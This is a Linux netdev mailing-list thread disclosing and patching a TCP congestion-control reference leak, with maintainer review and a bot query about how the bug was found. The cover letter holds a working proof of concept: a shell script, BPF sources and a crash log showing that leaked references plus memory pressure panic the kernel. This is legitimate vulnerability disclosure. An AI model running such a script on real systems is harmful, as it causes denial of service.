* [PATCH net 0/1] tcp: release congestion control reference on rejection
@ 2026-10-21 18:57 Zhiling Zou
2026-10-21 18:57 ` [PATCH net 1/1] " Zhiling Zou
2026-10-21 19:02 ` [PATCH net 0/1] " netdev-bot+sinfo
0 siblings, 2 replies; 5+ messages in thread
From: Zhiling Zou @ 2026-10-21 18:57 UTC (permalink / raw)
To: netdev, bpf
Cc: edumazet, ncardwell, kuniyu, davem, pabeni, horms,
jonathon.reinhart, vega, zhilinz
Hi Linux kernel maintainers,
We found and validated an issue in net/ipv4/tcp_cong.c. After a
restricted BPF struct_ops TCP congestion-control algorithm has been
loaded, a non-root user can trigger the reference leak through user and
network namespaces. Loading the algorithm requires a privileged setup
in the initial network namespace.
This bug is tracked at: https://bugtracker.nebusec.ai/f/11756
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
tcp_set_default_congestion_control() calls bpf_try_module_get() before
checking whether a non-init network namespace may select a restricted
congestion-control algorithm. When the check fails, the function returns
-EPERM without dropping the acquired reference.
For BPF struct_ops algorithms, this keeps the struct_ops map and its
programs alive. For module-backed algorithms, it leaks the module
reference. Repeated rejected writes can therefore pin kernel resources.
The fix releases the acquired reference on the existing -EPERM path.
Reproducer:
./poc.sh oom
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
The script uses the supplied leak_ca_oom.bpf.o object.
------BEGIN poc.sh------
#!/bin/sh
set -eu
POC_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
SMALL_OBJ="$POC_DIR/leak_ca.bpf.o"
OOM_OBJ="$POC_DIR/leak_ca_oom.bpf.o"
BPFFS_ROOT=/sys/fs/bpf/tcp_cc_leak_poc
TEST_USER=${TEST_USER:-test_user}
LEAK_ITERATIONS=${LEAK_ITERATIONS:-6}
OOM_CHUNKS=${OOM_CHUNKS:-16}
need_root() {
if [ "$(id -u)" -ne 0 ]; then
echo "run as root" >&2
exit 1
fi
}
need_file() {
if [ ! -f "$1" ]; then
echo "missing required file: $1" >&2
exit 1
fi
}
run_userns_trigger() {
if id "$TEST_USER" >/dev/null 2>&1; then
su -s /bin/sh "$TEST_USER" -c 'unshare -Urn python3 - <<'"'"'PY'"'"'
import os
path = "/proc/sys/net/ipv4/tcp_congestion_control"
fd = os.open(path, os.O_WRONLY)
try:
os.write(fd, b"leakca\n")
print("write unexpectedly succeeded")
except OSError as e:
print(f"write failed as expected: errno={e.errno} strerror={e.strerror}")
finally:
os.close(fd)
PY' || true
else
unshare -n python3 - <<'PY' || true
import os
path = "/proc/sys/net/ipv4/tcp_congestion_control"
fd = os.open(path, os.O_WRONLY)
try:
os.write(fd, b"leakca\n")
print("write unexpectedly succeeded")
except OSError as e:
print(f"write failed as expected: errno={e.errno} strerror={e.strerror}")
finally:
os.close(fd)
PY
fi
}
leak_once() {
obj=$1
dir=$2
rm -rf "$dir"
mkdir -p "$dir"
bpftool struct_ops register "$obj" "$dir"
run_userns_trigger
bpftool link detach pinned "$dir/leakca"
}
observe_mode() {
need_file "$SMALL_OBJ"
rm -rf "$BPFFS_ROOT"
mkdir -p "$BPFFS_ROOT"
leak_once "$SMALL_OBJ" "$BPFFS_ROOT/observe"
echo
echo "struct_ops entries after detach:"
bpftool struct_ops show | grep leakca || true
echo
echo "maps still alive after detach:"
bpftool map show | grep -E 'name leakca|name leak_payload' || true
}
oom_mode() {
i=1
need_file "$OOM_OBJ"
rm -rf "$BPFFS_ROOT"
mkdir -p "$BPFFS_ROOT"
echo 2 > /proc/sys/vm/panic_on_oom
ulimit -l unlimited || true
while [ "$i" -le "$LEAK_ITERATIONS" ]; do
echo "[*] leak iteration $i/$LEAK_ITERATIONS"
leak_once "$OOM_OBJ" "$BPFFS_ROOT/oom-$i"
free -m | sed -n '1,2p'
i=$((i + 1))
done
echo
echo "[*] allocating $((OOM_CHUNKS * 64)) MB in userspace to trip OOM after the leaked kernel memory has accumulated"
python3 - <<PY
chunks = []
chunk = 64 * 1024 * 1024
for i in range($OOM_CHUNKS):
chunks.append(bytearray(chunk))
print(f"allocated {(i + 1) * 64} MB", flush=True)
print("allocation completed unexpectedly")
PY
}
usage() {
cat <<'EOF'
usage: ./poc.sh [observe|oom]
observe:
single leak iteration using leak_ca.bpf.o, no crash expected
oom:
six leak iterations using leak_ca_oom.bpf.o, then a bounded 1 GB
userspace allocation that should panic the kernel because the leaked
BPF objects have already consumed most memory
EOF
}
need_root
case "${1:-observe}" in
observe)
observe_mode
;;
oom)
oom_mode
;;
*)
usage >&2
exit 1
;;
esac
------END poc.sh------
------BEGIN leak_ca.bpf.c------
// SPDX-License-Identifier: GPL-2.0
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include "bpf_tracing_net.h"
char _license[] SEC("license") = "GPL";
SEC("struct_ops")
void BPF_PROG(leakca_cong_control, struct sock *sk,
const struct rate_sample *rs)
{
}
SEC("struct_ops")
__u32 BPF_PROG(leakca_ssthresh, struct sock *sk)
{
return tcp_sk(sk)->snd_ssthresh;
}
SEC("struct_ops")
__u32 BPF_PROG(leakca_undo_cwnd, struct sock *sk)
{
return tcp_sk(sk)->snd_cwnd;
}
SEC(".struct_ops.link")
struct tcp_congestion_ops leakca = {
.cong_control = (void *)leakca_cong_control,
.ssthresh = (void *)leakca_ssthresh,
.undo_cwnd = (void *)leakca_undo_cwnd,
.name = "leakca",
};
------END leak_ca.bpf.c------
------BEGIN leak_ca_oom.bpf.c------
// SPDX-License-Identifier: GPL-2.0
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include "bpf_tracing_net.h"
struct leak_blob {
char bytes[4096];
};
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, 65536);
__type(key, __u32);
__type(value, struct leak_blob);
} leak_payload SEC(".maps");
char _license[] SEC("license") = "GPL";
SEC("struct_ops")
void BPF_PROG(leakca_oom_cong_control, struct sock *sk,
const struct rate_sample *rs)
{
__u32 key = 0;
struct leak_blob *blob;
blob = bpf_map_lookup_elem(&leak_payload, &key);
if (blob)
blob->bytes[0] = 1;
}
SEC("struct_ops")
__u32 BPF_PROG(leakca_oom_ssthresh, struct sock *sk)
{
return tcp_sk(sk)->snd_ssthresh;
}
SEC("struct_ops")
__u32 BPF_PROG(leakca_oom_undo_cwnd, struct sock *sk)
{
return tcp_sk(sk)->snd_cwnd;
}
SEC(".struct_ops.link")
struct tcp_congestion_ops leakca = {
.cong_control = (void *)leakca_oom_cong_control,
.ssthresh = (void *)leakca_oom_ssthresh,
.undo_cwnd = (void *)leakca_oom_undo_cwnd,
.name = "leakca",
};
------END leak_ca_oom.bpf.c------
----BEGIN crash log----
[ 312.334207][T10658] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[ 312.334939][T10658] CPU: 3 UID: 0 PID: 10658 Comm: python3 Not tainted 6.12.95 #2
[ 312.335458][T10658] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 312.336280][T10658] Call Trace:
[ 312.336511][T10658] <TASK>
[ 312.336731][T10658] panic+0x533/0x610
[ 312.337014][T10658] ? dump_header+0x5d2/0x800
[ 312.337342][T10658] ? __pfx_panic+0x10/0x10
[ 312.337698][T10658] out_of_memory+0x73c/0x1430
[ 312.338032][T10658] ? __alloc_pages_noprof+0xd53/0x26d0
[ 312.338420][T10658] ? __pfx_out_of_memory+0x10/0x10
[ 312.338780][T10658] ? lock_acquire+0x2f/0xb0
[ 312.339092][T10658] ? __alloc_pages_noprof+0xd53/0x26d0
[ 312.339480][T10658] __alloc_pages_noprof+0x1ecc/0x26d0
[ 312.339889][T10658] ? __pfx___alloc_pages_noprof+0x10/0x10
[ 312.340283][T10658] ? hlock_class+0x4e/0x130
[ 312.340599][T10658] ? mark_lock+0xb5/0xc60
[ 312.340895][T10658] ? srso_alias_return_thunk+0x5/0xfbef5
[ 312.341313][T10658] ? __pfx_mark_lock+0x10/0x10
[ 312.341655][T10658] ? srso_alias_return_thunk+0x5/0xfbef5
[ 312.342038][T10658] ? rcu_is_watching+0x12/0xc0
[ 312.342376][T10658] alloc_pages_mpol_noprof+0x1ab/0x4d0
[ 312.342759][T10658] ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[ 312.343172][T10658] ? srso_alias_return_thunk+0x5/0xfbef5
[ 312.343572][T10658] ? srso_alias_return_thunk+0x5/0xfbef5
[ 312.343959][T10658] folio_alloc_mpol_noprof+0x16/0x90
[ 312.344321][T10658] vma_alloc_folio_noprof+0xc4/0x170
[ 312.344704][T10658] ? __pfx_vma_alloc_folio_noprof+0x10/0x10
[ 312.345107][T10658] ? find_held_lock+0x2d/0x110
[ 312.345441][T10658] ? srso_alias_return_thunk+0x5/0xfbef5
[ 312.345839][T10658] do_pte_missing+0x825/0x3710
[ 312.346189][T10658] __handle_mm_fault+0xac8/0x1db0
[ 312.346545][T10658] ? __pfx_lock_release+0x10/0x10
[ 312.346891][T10658] ? down_read_trylock+0x1f0/0x3f0
[ 312.347240][T10658] ? lock_vma_under_rcu+0x121/0x720
[ 312.347601][T10658] ? __pfx___handle_mm_fault+0x10/0x10
[ 312.348002][T10658] ? srso_alias_return_thunk+0x5/0xfbef5
[ 312.348403][T10658] handle_mm_fault+0x2ad/0x910
[ 312.348822][T10658] do_user_addr_fault+0x301/0xe10
[ 312.349186][T10658] exc_page_fault+0x5d/0xe0
[ 312.349500][T10658] asm_exc_page_fault+0x26/0x30
[ 312.349840][T10658] RIP: 0033:0x7f38e70d3340
[ 312.350147][T10658] Code: 48 81 fa 00 01 00 00 76 c8 48 8d 8c 17 00 fe ff ff 62 e1 fe 48 7f 40 02 62 e1 fe 48 7f 40 03 48 39 f9 76 2e 48 83 e7 c0 66 90 <62> e1 fd 48 7f 47 04 62 e1 fd 48 7f 47 05 62 e1 fd 48 7f 47 06 62
[ 312.351441][T10658] RSP: 002b:00007fff03373848 EFLAGS: 00010287
[ 312.351863][T10658] RAX: 00007f38c2995010 RBX: 0000000004000000 RCX: 00007f38c6994e10
[ 312.352395][T10658] RDX: 0000000004000000 RSI: 0000000000000000 RDI: 00007f38c48fdf00
[ 312.352947][T10658] RBP: 00007f38e69cc268 R08: 00000000ffffffff R09: 0000000000000000
[ 312.353473][T10658] R10: 0000000000000022 R11: 0000000000000246 R12: 00007f38e6a2bab0
[ 312.354004][T10658] R13: 0000000000a02820 R14: 0000000000000000 R15: 00007f38e69f8ab0
[ 312.354585][T10658] </TASK>
[ 312.355010][T10658] Kernel Offset: disabled
[ 312.355354][T10658] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
tcp: release congestion control reference on rejection
net/ipv4/tcp_cong.c | 1 +
1 file changed, 1 insertion(+)
^ permalink raw reply [flat|nested] 5+ messages in thread* [PATCH net 1/1] tcp: release congestion control reference on rejection
2026-10-21 18:57 [PATCH net 0/1] tcp: release congestion control reference on rejection Zhiling Zou
@ 2026-10-21 18:57 ` Zhiling Zou
2026-10-22 3:53 ` Eric Dumazet
2026-10-21 19:02 ` [PATCH net 0/1] " netdev-bot+sinfo
1 sibling, 1 reply; 5+ messages in thread
From: Zhiling Zou @ 2026-10-21 18:57 UTC (permalink / raw)
To: netdev, bpf
Cc: edumazet, ncardwell, kuniyu, davem, pabeni, horms,
jonathon.reinhart, vega, zhilinz
tcp_set_default_congestion_control() takes a reference to the selected
algorithm before checking whether a non-init netns may select a
restricted algorithm. When the check fails, the function returns -EPERM
without dropping the reference.
For BPF struct_ops algorithms this keeps the struct_ops map and its
programs alive. For module-backed algorithms it leaks the module
reference as well. A network namespace administrator can repeatedly
trigger the rejected request after the algorithm has been loaded.
Drop the reference on the rejection path.
Fixes: 8d432592f30f ("net: Only allow init netns to set default tcp cong to a restricted algo")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
net/ipv4/tcp_cong.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/net/ipv4/tcp_cong.c b/net/ipv4/tcp_cong.c
index 8e83ef81fc187..907c63af14785 100644
--- a/net/ipv4/tcp_cong.c
+++ b/net/ipv4/tcp_cong.c
@@ -293,6 +293,7 @@ int tcp_set_default_congestion_control(struct net *net, const char *name)
} else if (!net_eq(net, &init_net) &&
!(ca->flags & TCP_CONG_NON_RESTRICTED)) {
/* Only init netns can set default to a restricted algorithm */
+ bpf_module_put(ca, ca->owner);
ret = -EPERM;
} else {
prev = xchg(&net->ipv4.tcp_congestion_control, ca);
^ permalink raw reply related [flat|nested] 5+ messages in thread* Re: [PATCH net 1/1] tcp: release congestion control reference on rejection
2026-10-21 18:57 ` [PATCH net 1/1] " Zhiling Zou
@ 2026-10-22 3:53 ` Eric Dumazet
0 siblings, 0 replies; 5+ messages in thread
From: Eric Dumazet @ 2026-10-22 3:53 UTC (permalink / raw)
To: Zhiling Zou
Cc: netdev, bpf, ncardwell, kuniyu, davem, pabeni, horms,
jonathon.reinhart, vega
Le mer. 21 oct. 2026 à 20:57, Zhiling Zou <zhilinz@nebusec.ai> a écrit :
>
> tcp_set_default_congestion_control() takes a reference to the selected
> algorithm before checking whether a non-init netns may select a
> restricted algorithm. When the check fails, the function returns -EPERM
> without dropping the reference.
>
> For BPF struct_ops algorithms this keeps the struct_ops map and its
> programs alive. For module-backed algorithms it leaks the module
> reference as well. A network namespace administrator can repeatedly
> trigger the rejected request after the algorithm has been loaded.
>
> Drop the reference on the rejection path.
>
> Fixes: 8d432592f30f ("net: Only allow init netns to set default tcp cong to a restricted algo")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: LLM
> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
> ---
> net/ipv4/tcp_cong.c | 1 +
> 1 file changed, 1 insertion(+)
>
> diff --git a/net/ipv4/tcp_cong.c b/net/ipv4/tcp_cong.c
> index 8e83ef81fc187..907c63af14785 100644
> --- a/net/ipv4/tcp_cong.c
> +++ b/net/ipv4/tcp_cong.c
> @@ -293,6 +293,7 @@ int tcp_set_default_congestion_control(struct net *net, const char *name)
> } else if (!net_eq(net, &init_net) &&
> !(ca->flags & TCP_CONG_NON_RESTRICTED)) {
> /* Only init netns can set default to a restricted algorithm */
> + bpf_module_put(ca, ca->owner);
> ret = -EPERM;
> } else {
> prev = xchg(&net->ipv4.tcp_congestion_control, ca);
Thanks for the report.
Instead of taking a reference only to drop it, please move the
restricted check before bpf_try_module_get(), as
tcp_set_congestion_control() already does:
if (!ca) {
ret = -ENOENT;
} else if (!net_eq(net, &init_net) &&
!(ca->flags & TCP_CONG_NON_RESTRICTED)) {
/* Only init netns can set default to a restricted algorithm */
ret = -EPERM;
} else if (!bpf_try_module_get(ca, ca->owner)) {
ret = -EBUSY;
} else {
Also for v2:
- BPF is not needed to trigger this, and the module case is the
interesting one. Any restricted module CC already loaded by root
(e.g. tcp_bbr, not listed in tcp_allowed_congestion_control) leaks
a module reference on each rejected write from a non-init netns.
module->refcnt is a plain atomic_t: after 2^31 rejected writes it
becomes negative, and every following module_put() hits the
WARN_ON() in module_put(). An rmmod would then hit the BUG_ON()
in try_release_module_ref().
BPF struct_ops use an atomic64_t refcount, so they cannot overflow
Please describe this in the changelog instead of the
struct_ops/OOM scenario.
- No need for a cover letter for a single trivial patch.
Your cover letter is adding noise, any LLM is able to rebuild a POC just fine.
Please wait 24 hours before sending v2.
Thanks.
pw-bot: cr
^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: [PATCH net 0/1] tcp: release congestion control reference on rejection
2026-10-21 18:57 [PATCH net 0/1] tcp: release congestion control reference on rejection Zhiling Zou
2026-10-21 18:57 ` [PATCH net 1/1] " Zhiling Zou
@ 2026-10-21 19:02 ` netdev-bot+sinfo
2026-10-21 19:09 ` zhilin zou
1 sibling, 1 reply; 5+ messages in thread
From: netdev-bot+sinfo @ 2026-10-21 19:02 UTC (permalink / raw)
To: Zhiling Zou
Cc: netdev, bpf, edumazet, ncardwell, kuniyu, davem, pabeni, horms,
jonathon.reinhart, vega
Hi!
This is an automated message. This series looks like a fix, but its
commit messages seem to be missing some information:
- How the issue was discovered, e.g. hit in production, hit during
development, syzbot report, manual code inspection, LLM or static
analysis tool scan.
Please do not repost the series just to address the above. Instead,
reply to this email with the missing information, so that reviewers
can take it into account. If the series needs another revision for
other reasons, please include the information in the commit messages
then.
The evaluation is done by an LLM so it may be wrong, if you think
that is the case please reply and explain.
^ permalink raw reply [flat|nested] 5+ messages in thread
* Re: [PATCH net 0/1] tcp: release congestion control reference on rejection
2026-10-21 19:02 ` [PATCH net 0/1] " netdev-bot+sinfo
@ 2026-10-21 19:09 ` zhilin zou
0 siblings, 0 replies; 5+ messages in thread
From: zhilin zou @ 2026-10-21 19:09 UTC (permalink / raw)
To: netdev-bot+sinfo
Cc: netdev, bpf, edumazet, ncardwell, kuniyu, davem, pabeni, horms,
jonathon.reinhart, vega
On Thu, Oct 22, 2026 at 3:02 AM <netdev-bot+sinfo@kernel.org> wrote:
>
> Hi!
>
> This is an automated message. This series looks like a fix, but its
> commit messages seem to be missing some information:
>
> - How the issue was discovered, e.g. hit in production, hit during
> development, syzbot report, manual code inspection, LLM or static
> analysis tool scan.
>
> Please do not repost the series just to address the above. Instead,
> reply to this email with the missing information, so that reviewers
> can take it into account. If the series needs another revision for
> other reasons, please include the information in the commit messages
> then.
>
> The evaluation is done by an LLM so it may be wrong, if you think
> that is the case please reply and explain.
Hi,
The issue was found during manual code inspection of reference handling in
tcp_set_default_congestion_control(), assisted by an LLM. The inspection
identified that bpf_try_module_get() succeeds before the restricted-algorithm
check, while the -EPERM path does not release the acquired reference.
Thanks,
Zhiling
^ permalink raw reply [flat|nested] 5+ messages in thread
end of thread, other threads:[~2026-10-22 3:54 UTC | newest]
Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-21 18:57 [PATCH net 0/1] tcp: release congestion control reference on rejection Zhiling Zou
2026-10-21 18:57 ` [PATCH net 1/1] " Zhiling Zou
2026-10-22 3:53 ` Eric Dumazet
2026-10-21 19:02 ` [PATCH net 0/1] " netdev-bot+sinfo
2026-10-21 19:09 ` zhilin zou
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox